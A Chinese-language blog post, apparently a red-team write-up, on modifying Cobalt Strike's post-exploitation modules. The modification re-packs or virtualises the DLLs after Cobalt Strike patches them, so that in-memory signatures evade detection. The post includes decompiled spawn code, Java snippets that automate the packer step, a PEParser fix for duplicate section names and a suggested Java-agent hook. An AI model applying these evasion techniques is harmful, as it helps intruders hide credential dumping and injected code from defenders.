长亭百川云 - 文章详情

CobaltStrike Runtime Dll Double Patch

在酒吧喝牛奶的牛仔

48

2024-07-13

夕阳西下-该回家啦

大多数情况我们都关注着beacon的上线,本文讲的是在POST-EX阶段,在不重写beacon或功能模块的情况下,对自带的功能模块实现一些内存IOC规避

CS经过不断的更新迭代,逐步把功能模块的实现从RDI切换成BOF的形式,这样带来了很多OPSEC方面的提升和减少了载荷的大小,但你仍然可以看到还存在少数通过RDI实现的功能模块。

当你使用诸如hashdump之类的功能时,在CS资源中的这个dll就会被Decrypt然后经过一系列Patch,再经过一系列封装(参数、功能描述、功能号等等)传输给Beacon再通过RDI自加载。

在这个过程中你可以使用Mallable Profile 自定义一些Patch的内容,包括**pipenameobfuscatesmartinjectamsi_disablethread_hint**等等

我们的思路是可以在dll patch 之后,再次使用一些工具来packer dll。达到一些内存特征的规避效果,这就看大家发挥了,简单点你可以使用一些壳来帮助你提高一些规避的效果,但是相应的opcode 依然还是之前的那些,所以你还可以使用代码虚拟化的方式将重点函数虚拟化或者混淆。

思路和方法本身没什么实际难度,但选择packer的方法、工具和遇到的问题可能并不一样(不同的packer可能会导致不同的问题,也并不一定都能正常被加载,这是这个方法需要解决的重点问题),这里仅记录我使用的这种packer遇到的问题。

CS inject & spawn

在源码beacon/Job.java中

我们用spawn的代码举例,可以看到在得到解密后的DLLContent后会有一系列的patch来帮助dll在后期正确的被加载。

`public void spawn(String string, String string2) {`        `this.arch = string2;`        `byte[] byArray = this.getDLLContent();`        `if (string2.equals("x64")) {`            `byArray = ReflectiveDLL.patchDOSHeaderX64(byArray, 1453503984);`            `if (this.ignoreToken()) {`                `this.builder.setCommand(44);`            `} else {`                `this.builder.setCommand(90);`            `}`        `} else {`            `byArray = ReflectiveDLL.patchDOSHeader(byArray, 1453503984);`            `if (this.ignoreToken()) {`                `this.builder.setCommand(1);`            `} else {`                `this.builder.setCommand(89);`            `}`        `}`        `String string3 = "\\\\.\\pipe\\" + this.tasker.getPostExPipeName(this.getPipeName());`        `byArray = CommonUtils.patch(byArray, "\\\\.\\pipe\\" + this.getPipeName(), string3);`        `byArray = this.fix(byArray);`        `byArray = this.tasker.getThreadFix().apply(byArray);`        `if (this.tasker.obfuscatePostEx()) {`            `byArray = this._obfuscate(byArray);`        `}`        `byArray = this.setupSmartInject(byArray);`        `this.builder.addString(CommonUtils.bString(byArray));`        `byte[] byArray2 = this.builder.build();`        `this.builder.setCommand(this.getJobType());`        `this.builder.addInteger(0);`        `this.builder.addShort(this.getCallbackType());`        `this.builder.addShort(this.getWaitTime());`        `this.builder.addLengthAndString(string3);`        `this.builder.addLengthAndString(this.getShortDescription());`        `byte[] byArray3 = this.builder.build();`        `this.tasker.task(string, byArray2, byArray3, this.getDescription(), this.getTactics("T1093"));`    `}`
byte[] byArray = this.getDLLContent();

进入getDLLContent 函数可以看到是有解密操作的。

加密的dll默认是长这个样子的。

我们可以看到代码在 setupSmartInject 之后开始做一些封装的处理。

所以我们可以在这个代码段中间做一些有趣的事情。

`byArray = this.setupSmartInject(byArray);``   ``/*`    `Do something interesting for byArray``*/``   ``this.builder.addString(CommonUtils.bString(byArray));`
  

Dump the byArray to File

直接把DLL dump下来,进行后续的操作。

`byArray = this.setupSmartInject(byArray);``   ``File savebyArrayFileName = new File(this.getDLLName());``FileOutputStream FsavebyArrayFile = new FileOutputStream(savebyArrayFileName);``FsavebyArrayFile.write(byArray);``FsavebyArrayFile.close();``   ``this.builder.addString(CommonUtils.bString(byArray));`
  

但是在我拿到patch完之后dll做完相应的代码混淆后,替换原本的byArray加载时出现了crash。

如果直接附加调试,这样或许可以找到问题但着实麻烦。

DLLinject

所以我关注到了dllinject 这个功能,该功能一样可以使用上述思路来patch,并且还可以找到问题所在。

首先相同的方法进行加壳或者代码虚拟化,看看能否成功,发现出现了一下错误。

动态调试发现dll 在被CS patch 之前会寻找一个硬编码为 ReflectiveLoader 的导出函数

看起来是导出函数的问题,经过CFF 查看之后发现又没啥问题,可以看到导出函数正常,所以猜测可能是偏移计算出现了问题。

尝试 peclone 进行解析查看,由于受到压缩加密的影响,peclone 已经出现了一些解析异常。我们可以花时间去解决 PEParser 的问题,但也可以偷懒换些工具试试看。

经过调试后发现packer之后的dll Export.FunctionAddressesFixed 是一个错误的值(也是n2对应的值),而 **Export.FunctionAddressesFixed**这里计算的是一个 FOA(ReflectiveLoader在文件中的偏移位置)。

该dll正常情况下是这样的

我们可以清楚看到,n2 即是FunctionAddressesFixed 的值,只要≤0 就会报错。也就是无法在文件中找到 ReflectiveLoader导出函数的偏移。

往里面跟一下,的确也是FOA的计算公式。

关于RVA to FOA 的计算公式。

FOA = RVA-VOffset+ROffset

得到 VOffset 和 ROffset ,RVA的地址

一开始我以为只需要手动修复一下这个值就行,但后续调试过程中我跟了一下,到底是为什么导致FOA计算错误。

发现在packer之后发现出现了重名的 .text 段,这也是导出偏移计算出错的直接原因,在CS PEParser解析的时候,存储相关数据用的是HashMap 以Key&Value的方式存储,导致无法出现重名的Key,第二个.text 数据会将之前的数据覆盖掉,导致FunctionAddressesFixed计算出错。

我的解决方案也很粗暴,直接在解析的时候将重复的段进行重命名,这样PEParser在计算的时候也不会受影响,并且DLL也并没有受到影响。

这样就没啥问题了

还需要注意的是CS默认情况依然是不能加载超过1m的载荷(上一篇文章中有说Bypass Cobaltstrike 1m有相关信息可以看看),所以经过packer之后的dll请保证你的大小可以被正常传递。

Back to build-in module

回到之前的hashdump,也是经过一系列调试发现,经过比较暴力的packer之后导致 peclone 都没办法解析了,我重新调整了一些参数来设置保护措施,最后可以直接在packer之后在beacon中加载,所以上述说到的dllinject 的问题其实和hashdump 是没有关系的,问题还是在packer的时候尽量保证dll不能面目全非,在你实现整个自动化 过程中也是需要注意的。

做到这一步基本上就可以做自动化了,你需要具备的条件是你的packer工具需要支持命令行,否则很难实现。

第一个screenshot 是原始的 screenshot,大小在199k左右,第二个是经过packer之后的 大小在960k左右。

自动化实现:

在每次运行命令的时候,首先经过CS patch 再经过一层packer达到的效果。这里只演示了内置功能,当你在dllinject的时候 都可以使用这个方法进行自动化。

实现代码:

`try {`    `File savebyArrayFileName = new File("/tmp/"+this.getDLLName());`    `FileOutputStream FsavebyArrayFile = null;`    `FsavebyArrayFile = new FileOutputStream(savebyArrayFileName);`    `FsavebyArrayFile.write(byArray);`    `FsavebyArrayFile.close();``   `    `//Do something for your dll`    `List<String> commandList = new ArrayList<>();`    `commandList.add("your packer command tools");`    `commandList.add(savebyArrayFileName.toString());`    `ProcessBuilder pb = new ProcessBuilder(commandList);`    `Process process = pb.start();``   `    `try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))){`        `while (process.isAlive()) {`            `while (bufferedReader.ready()) {`                `String s = bufferedReader.readLine();`                `System.out.println(s);`            `}`        `}`    `}`    `int status = process.waitFor();``   `    `//Read the file after the pack`    `File PatchSavebyArrayFileName = new File("/tmp/resources/"+savebyArrayFileName.getName().replace(".dll",".pack.dll"));`    `byArray = getFileByteContent(PatchSavebyArrayFileName);``   ``} catch (Exception e) {`    `e.printStackTrace();``}`
  

packer不支持命令行怎么办?

在写死profile中的 post-ex 变量后,你可以一直使用这个被patch之后的dll再做packer,所以如果你的profile之后是固定了,那么你可以通过本地资源替换的方法直接加载。其中invokeassembly.x64/32.dll 就是一个典型的case。


不修改 CobaltStrike.jar

现在主流的CS crack 也不再是反编译修改源码了,而是更简单的Hook patch。这个使用java agent hook即可,推荐使用 CSAgent 进行二开,感谢开源。

需要简修改的几个点:

  • Job/JobSimple/PEParser/TaskBeacon 这几个类的几个方法

  • spwan/inject

  • spwan

  • parseSection

  • Dllinject ....

这样直接动态修改 class 中的method代码达到这个case的二开效果。


实际效果

请注意

  • 关于本思路并不能帮助你解决行为上的查杀,该方法只是在内存上做一定规避,该有的行为还是有。

  • 配合4.5 的自定义注入相信会有更好的效果。

以dllinject为例(hashdump等模块都是一个道理)使用后,还是可以看到你的dll还是比较清晰的裸露在内存中的。

注意:对于dllinject每次你使用完该模块后,这个内存区域并不会被free

经过pakcer之后的,内存里面的绝大部分可读信息或特征已经被混淆了。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2